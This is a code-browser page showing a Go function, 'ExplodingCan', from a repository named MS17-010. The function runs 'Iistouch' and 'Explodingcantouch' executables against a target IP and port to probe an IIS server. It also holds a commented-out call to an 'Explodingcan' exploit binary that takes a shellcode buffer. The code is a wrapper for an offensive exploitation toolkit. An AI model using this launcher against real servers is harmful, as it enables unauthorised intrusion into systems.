MCPcopy Create free account
hub / github.com/adeljck/MS17-010 / ExplodingCan

Function ExplodingCan

modules/exploits/ExplodingCan.go:12–29  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

10)
11
12func ExplodingCan() {
13 filename := filepath.Join(metadatas.MetaData.LogDir, metadatas.MetaData.ProjectName, utils.CreateXmlFileName("Iistouch"))
14 metadatas.MetaData.SetIisPort()
15 metadatas.MetaData.SetEnableSSL()
16 metadatas.MetaData.SetHostString()
17 cmd := exec.Command(conf.Touches+"Iistouch-1.2.2.exe", "--InConfig", conf.Touches+"Iistouch-1.2.2.0.xml", "--OutConfig", filename, "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.IIS.Port, "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--EnableSSL", metadatas.MetaData.IIS.EnableSSL, "--HostString", metadatas.MetaData.IIS.HostString)
18 utils.Execute(cmd)
19 IisTouchResults := utils.ParseIisXml(filename)
20 fmt.Println(IisTouchResults)
21 filename = filepath.Join(metadatas.MetaData.LogDir, metadatas.MetaData.ProjectName, utils.CreateXmlFileName("Iistouch"))
22 cmd = exec.Command(conf.Touches+"Explodingcantouch-1.2.1.exe", "--InConfig", conf.Touches+"Explodingcantouch-1.2.1.0.xml", "--OutConfig", filename, "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.IIS.Port, "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--EnableSSL", metadatas.MetaData.IIS.EnableSSL, "--HostString", metadatas.MetaData.IIS.HostString, "--Delay", metadatas.MetaData.IIS.Delay, "--maxSizeToCheck", metadatas.MetaData.IIS.MaxSizeToCheck)
23 utils.Execute(cmd)
24 ExplodingcanTouchResults := utils.ParseIisXml(filename)
25 fmt.Println(ExplodingcanTouchResults)
26 //cmd = exec.Command(filepath.Join(conf.Exploits, "Explodingcan-2.0.2.exe"), "--InConfig", filepath.Join(conf.Exploits, "Explodingcan-2.0.2.0.xml"), "--OutConfig", filepath.Join(metadatas.MetaData.LogDir, "logs.txt"), "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.TargetPort, "--Target", results["Target"], "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--Protocol", results["Protocol"], "--PipeName", results["PipeName"], "--TargetOsArchitecture", results["TargetOsArchitecture"], "--Credentials", results["Credentials"], "--ShareName", results["ShareName"], "--ShellcodeBuffer", metadatas.MetaData.ShellcodeBuffer)
27 //utils.Execute(cmd)
28 metadatas.MetaData.ShowMetaData()
29}

Callers 1

initFunction · 0.92

Calls 7

CreateXmlFileNameFunction · 0.92
ExecuteFunction · 0.92
ParseIisXmlFunction · 0.92
SetIisPortMethod · 0.80
SetEnableSSLMethod · 0.80
SetHostStringMethod · 0.80
ShowMetaDataMethod · 0.80

Tested by

no test coverage detected